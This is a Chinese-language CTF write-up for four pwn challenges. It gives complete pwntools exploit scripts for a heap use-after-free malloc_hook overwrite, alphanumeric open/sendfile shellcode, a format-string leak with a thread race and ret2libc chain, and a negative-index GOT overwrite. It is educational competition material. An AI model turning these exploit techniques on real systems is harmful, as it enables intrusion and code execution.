# 国城杯_pwn-wp

image-20241208105818624

这次的 pwn 整体难度不算高,难道 pwn 手的春天到了(

# vtable_hijack

写这 vtable,其实一点没用,2.23 的 heap,直接改 malloc_hook 为 ogg 即可

image-20241208110151998

很明显,在 dele 函数上没有指针置 NULL,UAF 即可

image-20241208110304415

没有现在堆块的大小。所以看着两个是真的挺签到的,并且 edit show 也有。

'''
huan_attack_pwn
'''
import sys
from pwn import *
# from pwncli import *
# from LibcSearcher import *
# from ctypes import *
context.terminal = ['tmux', 'splitw', '-h', '-P']
context(arch='amd64', os='linux', log_level='debug')
# context(arch='i386' , os='linux', log_level='debug')
binary = './pwn'
libc = './libc.so.6'
host, port = "125.70.243.22:31310".split(":")
print(('\033[31;40mremote\033[0m: (y)\n'
    '\033[32;40mprocess\033[0m: (n)'))
if sys.argv[1] == 'y':
    r = remote(host, int(port))
else:
    r = process(binary)
# r = gdb.debug(binary)
# libc = cdll.LoadLibrary(libc)
libc = ELF(libc)
elf = ELF(binary)
# srand = libc.srand (libc.time (0)) #设置种子
default = 1
se      = lambda data                     : r.send(data)
sa      = lambda delim, data              : r.sendafter(delim, data)
sl      = lambda data                     : r.sendline(data)
sla     = lambda delim, data              : r.sendlineafter(delim, data)
rc      = lambda numb=4096                : r.recv(numb)
rl      = lambda time=default             : r.recvline(timeout=time)
ru      = lambda delims, time=default     : r.recvuntil(delims,timeout=time)
rpu     = lambda delims, time=default     : r.recvuntil(delims,timeout=time,drop=True)
uu32    = lambda data                     : u32(data.ljust(4, b'\0'))
uu64    = lambda data                     : u64(data.ljust(8, b'\0'))
lic     = lambda data                     : uu64(ru(data)[-6:])
padding = lambda length                   : b'Yhuan' * (length // 5) + b'Y' * (length % 5)
lg      = lambda var_name: log.success(f"\033[95m{var_name} :\033[91m0x{globals()[var_name]:x}\033[0m")
prl     = lambda var_name                 : print(len(var_name))
debug   = lambda command=''               : gdb.attach(r,command)
it      = lambda                          : r.interactive()
def add(idx,szie):
	sla('choice:\n','1')
	sla('index:\n',str(idx))
	sla('size:\n',str(szie))
def free(idx):
	sla('choice:\n','2')
	sla('index:\n',str(idx))
def edit(idx,length,ct):
	sla('choice:\n','3')
	sla('index:\n',str(idx))
	sla('length:\n',str(length))
	sa('content:\n',ct)
def show(idx):
	sla('choice:\n','4')
	sla('index:\n',str(idx))
add(0,0x200)
add(1,0x60)
free(0)
show(0)
libcbase = u64(rc(6).ljust(8,b'\0')) - 0x39bb78
free_hook = libcbase + libc.sym['__free_hook']
malloc_hook = libcbase + libc.sym['__malloc_hook']
ogg = [0x3f3e6,0x3f43a,0xd5c07]
og = libcbase + ogg[2]
add(2,0x60)
add(3,0x60)
add(4,0x60)
free(1)
free(3)
edit(3,8,p64(malloc_hook-0x23))
add(5,0x60)
add(6,0x60)
edit(6,0x90,b'a'*(0x10 + 0x03)+p64(og))
add(7,0x300)
# debug()
lg('malloc_hook')
lg('libcbase')
it()

# Alpha_Shell

image-20241208112342394

逆向一下,可以发现是看见字符的 shellcode,其实也没必要逆向,看汇编也是能看的大差不差的。

在这里使用 AE 写这个可见字符的 shellcode。开启沙盒

image-20241208112731895

from ae64 import AE64
from pwn import *
context.arch='amd64'
shellcode = asm(shellcraft.openat(-1, "/flag")) + asm(shellcraft.sendfile(1,3,0,0x40))
print('限制输入大小的shellcode的长度:',0x150)
# get alphanumeric shellcode
enc_shellcode = AE64().encode(shellcode,'rdx')
print(enc_shellcode.decode('latin-1'))

image-20241208112621031

把这段输入进程序内即可得到 flag

'''
huan_attack_pwn
'''
import sys
from pwn import *
# from pwncli import *
# from LibcSearcher import *
# from ctypes import *
context.terminal = ['tmux', 'splitw', '-h', '-P']
context(arch='amd64', os='linux', log_level='debug')
# context(arch='i386' , os='linux', log_level='debug')
binary = './Alpha_Shell'
# libc = './'
host, port = "125.70.243.22:31801".split(":")
print(('\033[31;40mremote\033[0m: (y)\n'
    '\033[32;40mprocess\033[0m: (n)'))
if sys.argv[1] == 'y':
    r = remote(host, int(port))
else:
    r = process(binary)
# r = gdb.debug(binary)
# libc = cdll.LoadLibrary(libc)
# libc = ELF(libc)
# elf = ELF(binary)
# srand = libc.srand (libc.time (0)) #设置种子
default = 1
se      = lambda data                     : r.send(data)
sa      = lambda delim, data              : r.sendafter(delim, data)
sl      = lambda data                     : r.sendline(data)
sla     = lambda delim, data              : r.sendlineafter(delim, data)
rc      = lambda numb=4096                : r.recv(numb)
rl      = lambda time=default             : r.recvline(timeout=time)
ru      = lambda delims, time=default     : r.recvuntil(delims,timeout=time)
rpu     = lambda delims, time=default     : r.recvuntil(delims,timeout=time,drop=True)
uu32    = lambda data                     : u32(data.ljust(4, b'\0'))
uu64    = lambda data                     : u64(data.ljust(8, b'\0'))
lic     = lambda data                     : uu64(ru(data)[-6:])
padding = lambda length                   : b'Yhuan' * (length // 5) + b'Y' * (length % 5)
lg      = lambda var_name: log.success(f"\033[95m{var_name} :\033[91m0x{globals()[var_name]:x}\033[0m")
prl     = lambda var_name                 : print(len(var_name))
debug   = lambda command=''               : gdb.attach(r,command)
it      = lambda                          : r.interactive()
# debug('b *0x5555555555af')
shecode = 'RXWTYH39Yj3TYfi9WmWZj8TYfi9JBWAXjKTYfi9kCWAYjCTYfi93iWAZjxTYfi9W50t800T810T820T830T840T850T860T870T880T8A0T8B0T8C0T8F0T8G0t8I0t8L0t8S0T8T0T8U0T8V0T8W0T8b0T8g0T8hRAPZ0t8J0T8M0t8O0T8Y0T8cZRAQZ0T8eZRARZ0t8QZj9TYfi9k10t800T840T8RRAPZ0T8S0t8UZRAQZ0T81ZHpTTTTTTTTPHpwgm5fTTTH1QqHAfj7o1R1HfpTTZPjpAZjTo1RjVnjqXZP'
se(shecode)
it()

# Offensive_Security

这道题还是比较精彩的,自我认为(

image-20241208113032757

image-20241208113144210

login 属于 lib2shell 内函数

image-20241208113302222

在这里面很明显有格式化字符串漏洞,利用此漏洞,泄露出 a1 内容即 password,顺便泄露出 libc 内容,为接下来做好工作。

image-20241208113502469

在 vuln 内创建了两个线程,guess 和 checker

__int64 guess()
{
  puts("[!] Guess the authentication code?");
  if ( (unsigned int)__isoc99_scanf("%u", &authentication_code) != 1 )
  {
    puts("\x1B[1;31m[CRITICAL]\x1B[0m Invalid input.");
    exit(1);
  }
  return 0LL;
}
__int64 checker()
{
  int v1; // [rsp+1Ch] [rbp-14h] BYREF
  size_t v2; // [rsp+20h] [rbp-10h]
  FILE *stream; // [rsp+28h] [rbp-8h]
  stream = fopen("/dev/random", "rb");
  if ( !stream )
  {
    perror("\x1B[1;31m[CRITICAL]\x1B[0m Failed to open /dev/random");
    exit(1);
  }
  v2 = fread(&authentication_code, 4uLL, 1uLL, stream);
  if ( v2 != 1 )
  {
    perror("\x1B[1;31m[CRITICAL]\x1B[0m Failed to read from /dev/random");
    fclose(stream);
    exit(1);
  }
  fclose(stream);
  puts("[!] Please enter your authentication code: ");
  if ( (unsigned int)__isoc99_scanf("%u", &v1) != 1 )
  {
    puts("\x1B[1;31m[CRITICAL]\x1B[0m Invalid input.");
    exit(1);
  }
  if ( v1 != authentication_code )
  {
    puts("\x1B[1;31m[CRITICAL]\x1B[0m Two-factor authentication failed.");
    exit(1);
  }
  puts("[\x1B[1;32mINFO\x1B[0m] Login success!");
  shell();
  return 0LL;
}

存在线程竞争的漏洞,可以发现 guess 是往 &authentication_code 输入内容,而 checker 是通过输入内容与 &authentication_code 比较,比较相同则可以进入 shell 函数内。

由于存在线程竞争漏洞,我们同时去输入,则可绕过 checker 的 if 判断

__int64 shell()
{
  _BYTE s[32]; // [rsp+0h] [rbp-20h] BYREF
  setvbuf(stdout, 0LL, 1, 0LL);
  memset(s, 0, sizeof(s));
  puts(">");
  read(0, s, 0x200uLL);
  return 0LL;
}

明显的溢出,直接使用格式化字符串得到的 libc 进行 ret2libc 即可

'''
huan_attack_pwn
'''
import sys
from pwn import *
# from pwncli import *
from LibcSearcher import *
# from ctypes import *
context.terminal = ['tmux', 'splitw', '-h', '-P']
context(arch='amd64', os='linux', log_level='debug')
# context(arch='i386' , os='linux', log_level='debug')
binary = './pwn'
# libc = './'
host, port = "125.70.243.22:31905".split(":")
print(('\033[31;40mremote\033[0m: (y)\n'
    '\033[32;40mprocess\033[0m: (n)'))
if sys.argv[1] == 'y':
    r = remote(host, int(port))
else:
    r = process(binary)
# r = gdb.debug(binary)
# libc = cdll.LoadLibrary(libc)
# libc = ELF(libc)
# elf = ELF(binary)
# srand = libc.srand (libc.time (0)) #设置种子
default = 1
se      = lambda data                     : r.send(data)
sa      = lambda delim, data              : r.sendafter(delim, data)
sl      = lambda data                     : r.sendline(data)
sla     = lambda delim, data              : r.sendlineafter(delim, data)
rc      = lambda numb=4096                : r.recv(numb)
rl      = lambda time=default             : r.recvline(timeout=time)
ru      = lambda delims, time=default     : r.recvuntil(delims,timeout=time)
rpu     = lambda delims, time=default     : r.recvuntil(delims,timeout=time,drop=True)
uu32    = lambda data                     : u32(data.ljust(4, b'\0'))
uu64    = lambda data                     : u64(data.ljust(8, b'\0'))
lic     = lambda data                     : uu64(ru(data)[-6:])
padding = lambda length                   : b'Yhuan' * (length // 5) + b'Y' * (length % 5)
lg      = lambda var_name: log.success(f"\033[95m{var_name} :\033[91m0x{globals()[var_name]:x}\033[0m")
prl     = lambda var_name                 : print(len(var_name))
debug   = lambda command=''               : gdb.attach(r,command)
it      = lambda                          : r.interactive()
sla('Username:\n','||%7$s-%39$p')
ru('Welcome, \n||')
password = u64(rc(8).ljust(8,b'\x00'))
ru('-0x')
__libc_start_main = int(rc(12),16) - 128
lg('password')
lg('__libc_start_main')
# libc = LibcSearcher('__libc_start_main',__libc_start_main)
libc_base = __libc_start_main - 0x029dc0
system = libc_base + 0x050d70
binsh = libc_base + 0x1d8678
rdi = 0x0000000000400661
sla('password: \n',p64(password))
r.sendline(str(0x75746e75ed205fca))
        
r.sendline(str(0x75746e75ed205fca))
py = padding(0x20) + p64(0) + p64(rdi+1) + p64(rdi)  + p64(binsh) + p64(system)
sla('>\n',py)
lg('libc_base')
it()

# beverage store

考点挺简单,覆盖种子和数组越界

通过覆盖种子进入 buy 函数内,buy 函数由于没有对于索引的负数检验,即可上溢到 got 表,got 是可写段,所以可以先将 exit@got 覆写成 buy 地址,然后泄露 got 内的 libc 内容,然后再次覆写 vuln 函数内容的 printf@got 为 system 地址,最后再将 exit@got 覆写成 vuln 地址即可

'''
huan_attack_pwn
'''
import sys
from pwn import *
# from pwncli import *
# from LibcSearcher import *
from ctypes import *
context.terminal = ['tmux', 'splitw', '-h', '-P']
context(arch='amd64', os='linux', log_level='debug')
# context(arch='i386' , os='linux', log_level='debug')
binary = './pwn'
libc = './libc.so.6'
host, port = "125.70.243.22:31830".split(":")
print(('\033[31;40mremote\033[0m: (y)\n'
    '\033[32;40mprocess\033[0m: (n)'))
if sys.argv[1] == 'y':
    r = remote(host, int(port))
else:
    r = process(binary)
# r = gdb.debug(binary)
libc = cdll.LoadLibrary(libc)
# libc = ELF(libc)
elf = ELF(binary)
srand = libc.srand(0xdeadbeef) #设置种子
default = 1
se      = lambda data                     : r.send(data)
sa      = lambda delim, data              : r.sendafter(delim, data)
sl      = lambda data                     : r.sendline(data)
sla     = lambda delim, data              : r.sendlineafter(delim, data)
rc      = lambda numb=4096                : r.recv(numb)
rl      = lambda time=default             : r.recvline(timeout=time)
ru      = lambda delims, time=default     : r.recvuntil(delims,timeout=time)
rpu     = lambda delims, time=default     : r.recvuntil(delims,timeout=time,drop=True)
uu32    = lambda data                     : u32(data.ljust(4, b'\0'))
uu64    = lambda data                     : u64(data.ljust(8, b'\0'))
lic     = lambda data                     : uu64(ru(data)[-6:])
padding = lambda length                   : b'Yhuan' * (length // 5) + b'Y' * (length % 5)
lg      = lambda var_name: log.success(f"\033[95m{var_name} :\033[91m0x{globals()[var_name]:x}\033[0m")
prl     = lambda var_name                 : print(len(var_name))
debug   = lambda command=''               : gdb.attach(r,command)
it      = lambda                          : r.interactive()
sla('yours id\n',b'a'*0x8 + p64(0xdeadbeef))
v2 = libc.rand()
sla('authentication code:\n',str(v2))
# libc = '/lib/x86_64-linux-gnu/libc.so.6'
libc = './libc.so.6'
libc = ELF(libc)
sla('4 wine\n',str(-0x4))
sla('to choose\n',p64(0x40133B))
sla('4 wine\n',str(-0x8))
sa('to choose\n',p8(0x50))
ru('succeed\n')
puts = u64(rc(6).ljust(8,b'\x00'))
libcbase = puts - libc.sym['puts']
system =libcbase + libc.sym['system']
# debug('b *0x4013fc')
sla('4 wine\n',str(-0x7))
sa('to choose\n',p64(system))
sla('4 wine\n',str(-0x4))
sla('to choose\n',p64(0x401511))
lg('libcbase')
it()